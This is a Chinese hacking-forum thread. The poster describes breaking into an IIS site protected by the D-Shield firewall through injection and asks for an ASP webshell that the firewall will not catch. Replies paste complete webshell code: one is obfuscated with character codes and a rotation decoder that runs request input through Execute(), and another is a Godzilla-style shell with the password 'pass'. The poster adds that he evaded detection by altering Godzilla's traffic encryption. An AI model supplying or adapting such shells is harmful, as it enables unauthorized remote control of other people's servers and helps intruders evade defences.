求一款过D盾的asp大马

2024-10-18 09:14:38 4 188
最近遇到一个安装D盾的iis站点。程序语言比较古老，通过绕D盾注入 进入后台，很庆幸的是可以通过修改配置直接传asp文件！传aspx 直接不论是正常文件还是马都是秒删。唯有asp可以躺下！
尝试了各种手段要么是直接被拦截（正常asp马），要么是爆代码错误（断定是流量感知拦截）。小弟不才，求偿一款过D盾asp马！
类别 悬赏专区

关于作者

wolf22篇文章1145篇回复

http://t.qq.com/duwo-Nick
N.S.T论坛： www.xxgx.org

wolf
4

评论4次

要评论？请先  登录  或  注册
  • 4楼
    MrE404bug
    Rank: 1
    2025-3-19 11:55

    <% Set AZV3z = Server.CreateObject("Scripting.Dictionary") Function B66V10(content,isBin) dim size,i,result,keySize keySize = len(key) Set CnU5 = CreateObject("ADODB.Stream") CnU5.CharSet = "iso-8859-1" CnU5.Type = 2 CnU5.Open if IsArray(content) then size=UBound(content)+1 For i=1 To size CnU5.WriteText chrw(ascb(midb(content,i,1))) Next end if CnU5.Position = 0 if isBin then CnU5.Type = 1 B66V10=CnU5.Read() else B66V10=CnU5.ReadText() end if End Function content = request.BinaryRead(request.TotalBytes) if len(request.Cookies.Item("pass"))>0 then if IsEmpty(Session("payload")) then content=B66V10(content,false) Session("payload")=content response.End else AZV3z.Add "payload",Session("payload") Execute(AZV3z("payload")) result=run(content) if not IsEmpty(result) then response.BinaryWrite result end if end if end if %>
    哥斯拉的小马 你去用吧 ，密码 pass

  • 3楼
    wolf
    Rank: 2
    2024-12-17 16:13

    结帖！已通过其他方案达到结果

  • 2楼
    wolf
    Rank: 2
    2024-10-22 08:51
    Wafer：

    试试这个 <%Dim AAA___,AAA__A,AAA_A_,AAA_AA,AAAA__Set AAA_A_=Response:Set AAA__A=Request:Set AAAA__=Session:Set AAA___=Application:Set AAA_AA=ServerIf AAA__A(AAAA_A(ChrW(55)&ChrW(53)&ChrW(60)&ChrW(59)&ChrW(117)&ChrW(122)&ChrW(115)&ChrW(117)&ChrW(99)&ChrW(100)&ChrW(101)))<>"" Then Execute(AAA__A(AAAA_A(ChrW(55)&ChrW(53)&ChrW(60)&ChrW(59)&ChrW(117)&ChrW(122)&ChrW(115)&ChrW(117)&ChrW(99)&ChrW(100)&ChrW(101))))AAA_A_.Write(AAAA_A(ChrW(63)&ChrW(64)&ChrW(55)&ChrW(64)&ChrW(70)&ChrW(63)&ChrW(53)&ChrW(55)&ChrW(58)&ChrW(61)&ChrW(54)))Function AAAA_A(ByVal A_____A)Dim AAAAA_, AAAAAA, A______A_____A = Replace(A_____A, Chr(37) & ChrW(-243) & Chr(62), Chr(37) & Chr(62))For AAAAAA = 1 To Len(A_____A)If AAAAAA <> A______ ThenAAAAA_ = AscW(Mid(A_____A, AAAAAA, 1))If AAAAA_ >= 33 And AAAAA_ <= 79 ThenAAAA_A = AAAA_A & Chr(AAAAA_ + 47)ElseIf AAAAA_ >= 80 And AAAAA_ <= 126 ThenAAAA_A = AAAA_A & Chr(AAAAA_ - 47)ElseA______ = AAAAAA + 1If Mid(A_____A, A______, 1) = AAAA_A(ChrW(111)) Then AAAA_A = AAAA_A & ChrW(AAAAA_ + 5) Else AAAA_A = AAAA_A & Mid(A_____A, AAAAAA, 1)End IfEnd IfNextEnd Function%>

    1

    这个好像坛子内有人发过！ 不过已经搞定 修改了 哥斯拉 得流量加密方法 完美绕过

  • 1楼
    Wafer
    Rank: 2
    2024-10-21 16:49

    试试这个 <% Dim AAA___,AAA__A,AAA_A_,AAA_AA,AAAA__ Set AAA_A_=Response:Set AAA__A=Request:Set AAAA__=Session:Set AAA___=Application:Set AAA_AA=Server If AAA__A(AAAA_A(ChrW(55)&ChrW(53)&ChrW(60)&ChrW(59)&ChrW(117)&ChrW(122)&ChrW(115)&ChrW(117)&ChrW(99)&ChrW(100)&ChrW(101)))<>"" Then Execute(AAA__A(AAAA_A(ChrW(55)&ChrW(53)&ChrW(60)&ChrW(59)&ChrW(117)&ChrW(122)&ChrW(115)&ChrW(117)&ChrW(99)&ChrW(100)&ChrW(101)))) AAA_A_.Write(AAAA_A(ChrW(63)&ChrW(64)&ChrW(55)&ChrW(64)&ChrW(70)&ChrW(63)&ChrW(53)&ChrW(55)&ChrW(58)&ChrW(61)&ChrW(54))) Function AAAA_A(ByVal A_____A) Dim AAAAA_, AAAAAA, A______ A_____A = Replace(A_____A, Chr(37) & ChrW(-243) & Chr(62), Chr(37) & Chr(62)) For AAAAAA = 1 To Len(A_____A) If AAAAAA <> A______ Then AAAAA_ = AscW(Mid(A_____A, AAAAAA, 1)) If AAAAA_ >= 33 And AAAAA_ <= 79 Then AAAA_A = AAAA_A & Chr(AAAAA_ + 47) ElseIf AAAAA_ >= 80 And AAAAA_ <= 126 Then AAAA_A = AAAA_A & Chr(AAAAA_ - 47) Else A______ = AAAAAA + 1 If Mid(A_____A, A______, 1) = AAAA_A(ChrW(111)) Then AAAA_A = AAAA_A & ChrW(AAAAA_ + 5) Else AAAA_A = AAAA_A & Mid(A_____A, AAAAAA, 1) End If End If Next End Function %>